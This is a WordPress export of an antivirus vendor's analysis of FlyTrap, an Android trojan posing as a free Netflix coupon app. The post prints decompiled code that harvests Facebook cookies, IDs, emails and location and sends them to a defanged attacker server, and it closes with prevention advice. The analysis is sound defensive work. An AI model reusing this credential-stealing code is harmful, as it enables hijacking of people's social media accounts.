{"id":904,"date":"2021-08-29T05:47:57","date_gmt":"2021-08-29T05:47:57","guid":{"rendered":"https:\/\/threats.amnpardaz.com\/en\/?p=904"},"modified":"2024-01-21T09:39:20","modified_gmt":"2024-01-21T09:39:20","slug":"904","status":"publish","type":"post","link":"https:\/\/threats.amnpardaz.com\/en\/2021\/08\/29\/904\/","title":{"rendered":"Trojan.Android.FlyTrap.Coupon"},"content":{"rendered":"

General Explanation<\/h2>\n

Type<\/strong>: Trojan<\/p>\n

Degree of destruction<\/strong>: average<\/p>\n

Prevalence<\/strong>: average<\/p>\n

What is a Trojan?<\/h3>\n

Trojans are malware types that introduced themselves as healthy and legal software and act similarly to practical and applicable software but cause many destructions to the system when executing. The downloaded software from the internet, placing HTML text, attaching it to an email, etc. are ways that Trojans are using to enter the system. Contrary to viruses and computer worms, Trojans are not reproducible.<\/p>\n

What is Flytrap malware?<\/h3>\n

The main goal of this malware is to obtain users’ social media accounts such as Facebook. This malware is distributed using existing applications on different stores such as Google Play or unauthorized stores. This malware acts as an application but steals users’ account information from social media applications using the hijacking technique. Also, it shows related advertisements by using collected data such as location. This malware is distributed through the Google play store and other unauthorized stores and in the form of attractive applications such as Netflix free coupons, Google Adwords coupon codes, and voting applications for choosing the best soccer team and player. Users who installed this application will be directed to Facebook’s main page due to multiple excuses such as voting or collecting coupon codes or credit.<\/p>\n

\"Trojan.Android.FlyTrap.coupon1\"<\/h2>\n

Technical Explanation<\/h2>\n

CouponFragment<\/h3>\n

This application exists for download on android stores named “Free Netflix Coupon”. After installing and running this application and inside the main activity, users will view the “Receive Free Netflix Coupon” message. Immediately, the “couponActivity” will be run by clicking on the “Receive Coupon” option that is hidden from the sight of the user. It is a web view page, and the attacker immediately uses the JavaScript injection technique inside the web view to load its JavaScript code and to show the login page linked to Facebook so it can easily collect the user’s account data.<\/p>\n

\"Trojan.Android.FlyTrap2\"<\/p>\n

CuoponActivity<\/h3>\n

First, it checks browser cookie files to know whether the user logged in to Facebook address previously. If the user did not log in, it shows the Facebook login page in the form of a web view. This is not a fake page, and its URL is correct, but injecting infected JavaScript in this web view will collect critical data from the user without their notice. Then, the collected data will be sent in the form of a JSON file to the infected server of the malware, when the user enters the data to log in to the main Facebook login page:<\/p>\n

\u201d Email, FacebookID, FeatureImage, Location, UserAgent, Cookie, Ip, Date, Token, fromApp\u00a0<\/strong>(name of the application)<\/strong>\u201c<\/strong><\/p>\n

\t

\r\n\t\t\n

private final\u00a0void\u00a0<\/strong>CouponActivity.getDataIntent()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/method@782d<\/strong><\/p>\n

{<\/p>\n

\u00a0\u00a0 String v7;<\/p>\n

\u00a0\u00a0 String v6;<\/p>\n

\u00a0\u00a0 String v3;<\/p>\n

\u00a0\u00a0 String v12;<\/p>\n

\u00a0\u00a0 String v5;<\/p>\n

\u00a0\u00a0 String v11;<\/p>\n

\u00a0\u00a0 String v1 =\u00a0\u201chttps:\/\/m.facebook.com\u201d<\/strong>;<\/p>\n

\u00a0\u00a0\u00a0if\u00a0<\/strong>(!CookieManager.getInstance().getCookie(v1)) {<\/p>\n

\u00a0\u00a0\u00a0\u00a0return<\/strong>;<\/p>\n

\u00a0\u00a0 }<\/p>\n

\u00a0\u00a0 v7 = CookieManager.getInstance().getCookie(v1);<\/p>\n

\u00a0\u00a0 Intrinsics.checkNotNullExpressionValue(v7,\u00a0\u201cgetInstance\\x28\\x29.getCookie\\x28com.emranul.movieinfo.util.Constant.URL_GET_COOKIE_FACEBOOK\\x29\u201d<\/strong>);<\/p>\n

\u00a0\u00a0 v6 = this.getIntent().getStringExtra(\u201cuser_agent\u201d<\/strong>);<\/p>\n

\u00a0\u00a0 v3 = this.getIntent().getStringExtra(\u201cuser_id\u201d<\/strong>);<\/p>\n

\u00a0\u00a0 v12 = this.getIntent().getStringExtra(\u201cemail\u201d);<\/p>\n

\u00a0\u00a0\u00a0if<\/strong>\u00a0(!v6 || !v12 || TextUtils.isEmpty(v6) || TextUtils.isEmpty(v3) || TextUtils.isEmpty(v7) || TextUtils.isEmpty(v12)) {<\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return<\/strong>;<\/p>\n

\u00a0\u00a0 }<\/p>\n

\u00a0\u00a0 Intrinsics.checkNotNull(v3);<\/p>\n

\u00a0\u00a0 v5 = Locale.getDefault().getDisplayLanguage();<\/p>\n

\u00a0\u00a0 Intrinsics.checkNotNullExpressionValue(v5,\u00a0\u201cgetDefault\\x28\\x29.getDisplayLanguage\\x28\\x29\u201d<\/strong>);<\/p>\n

\u00a0\u00a0 v11 = this.getResources().getString(0x7f0f001b);<\/p>\n

\u00a0\u00a0 Intrinsics.checkNotNullExpressionValue(v11,\u00a0\u201cresources.getString\\x28R.string.app_name\\x29\u201d<\/strong>);<\/p>\n

\u00a0\u00a0 v2 = new Data(v3, () +\u00a0\u201chttps:\/\/graph.facebook.com\/\u201d<\/strong>\u00a0+ v3 +\u00a0\u201c\/picture?type=large\u201d<\/strong>, v5, v6, v7, this.getIpAdress(), ShareUtils.INSTANCE.getCurrentDate(),\u00a0\u201cEmpty\u201d<\/strong>, v11, v12);<\/p>\n

\u00a0\u00a0 RetrofitBuilder.INSTANCE.getApiService().null_saveData(v0.getIdFacebook(), v0.getFeatureImage(), v0.getLocation(), v0.getUserAgent(), v0.getCookie(), v0.getIp(), v0.getDate(), v0.getToken(), v0.getFromApp(), v0.getEmail()).null_enqueue(new CouponActivity$getDataIntent$1(this));<\/p>\n

return<\/strong>;<\/p>\n

}<\/p>\n

\t<\/div>\r\n\t\n

Malware uses the existing APIs in the Retrofit library to create a connection between the server and the client and to send and receive information in JSON format.<\/p>\n

In order to authenticate with OAuth, an access token will be assigned to the user for each and any of the network requests that will be sent to a unique address. After the malware obtained all values for the aforementioned data, it will turn them into a string (values and data) and sending to its server address: “hxxp [:]\/\/\/quanlysanpham [.]Work”<\/p>\n

 <\/p>\n

Public String Data.toString () {<\/p>\n

Return new String Builder () +”Data\\x28idFacebook=”+this.idFacebook+”, featureImage=”+this.featureImage+”, location=”+this.location+”,<\/p>\n

userAgent=”+this.userAgent+”, cookie=”+this.cookie+”, ip=”+this.ip+”, date=”+this.date+”, token=”+this.token+”, fromApp=”+this.fromApp+”, email=”+this.email+41;}<\/p>\n

\"Trojan.Android.FlyTrap3\"<\/p>\n

One of the other functions of this malware is accessing the user’s location to send advertisements through advertising services such as google ads, etc. Also, the application will be set at certain intervals to collect the longitude and latitude values (user’s location) of the user. To show advertisements, it used com.google.android.gms.iid InstanceID API using specified advertisement identification inside the application codes.<\/p>\n

\t

\r\n\t\t\n

public static AdvertisingIdClient$Info<\/p>\n

AdvertisingIdClient.getAdvertisingIdInfo(Context p0)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \/\/method@7a8f<\/p>\n

{<\/p>\n

\u00a0\u00a0 zzb v0 = new zzb(p0);<\/p>\n

\u00a0\u00a0 boolean v1 = v0.getBoolean(\u201cgads:ad_id_app_context:enabled\u201d, false);<\/p>\n

\u00a0\u00a0 AdvertisingIdClient v3 = new AdvertisingIdClient(p0, -1, v1, v0.getBoolean(\u201cgads:ad_id_use_persistent_service:enabled\u201d, false));<\/p>\n

\u00a0\u00a0 v0.zza(false);<\/p>\n

\u00a0\u00a0 p0 = v0.getInfo();<\/p>\n

\u00a0\u00a0 v0.zza(p0, v1, v0.getFloat(\u201cgads:ad_id_app_context:ping_ratio\u201d, 0), (SystemClock.elapsedRealtime()-SystemClock.elapsedRealtime()), v0.getString(\u201cgads:ad_id_use_shared_preference:experiment_id\u201d, \u201c\u201d), null);<\/p>\n

\u00a0\u00a0 v0.finish();<\/p>\n

\u00a0\u00a0 return p0;<\/p>\n

}<\/p>\n

\t<\/div>\r\n\t\n

How to deal with this malware and disinfect the system<\/h2>\n

Install and update the Padvish Antivirus<\/a> database file, and scan your device to assure your device is not infected by malware.<\/p>\n

How to prevent the device from infection:<\/strong><\/p>\n

    \n
  1. Avoid downloading and installing the application from unauthorized sources and stores<\/li>\n
  2. Pay attention to the access permissions when installing an application<\/li>\n
  3. Continuously back up files and stored data<\/li>\n
  4. Do not use unofficial versions of the application. There are many unofficial versions of applications such as Instagram and Telegram that are distributed through telegram channels.<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"

    General Explanation Type: Trojan Degree of destruction: average Prevalence: average What is a Trojan? Trojans are malware types that introduced themselves as healthy and legal software and act similarly to practical and applicable software but cause many destructions to the system when executing. The downloaded software from the internet, placing HTML text, attaching it to…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[24,38],"class_list":["post-904","post","type-post","status-publish","format-standard","hentry","category-trojan","tag-android","tag-padvish-android"],"_links":{"self":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/904","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/comments?post=904"}],"version-history":[{"count":7,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/904\/revisions"}],"predecessor-version":[{"id":1289,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/904\/revisions\/1289"}],"wp:attachment":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/media?parent=904"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/categories?post=904"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/tags?post=904"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}